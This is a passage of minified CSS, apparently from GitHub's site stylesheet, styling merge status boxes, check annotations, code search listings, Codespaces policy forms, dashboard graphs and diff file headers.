var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form 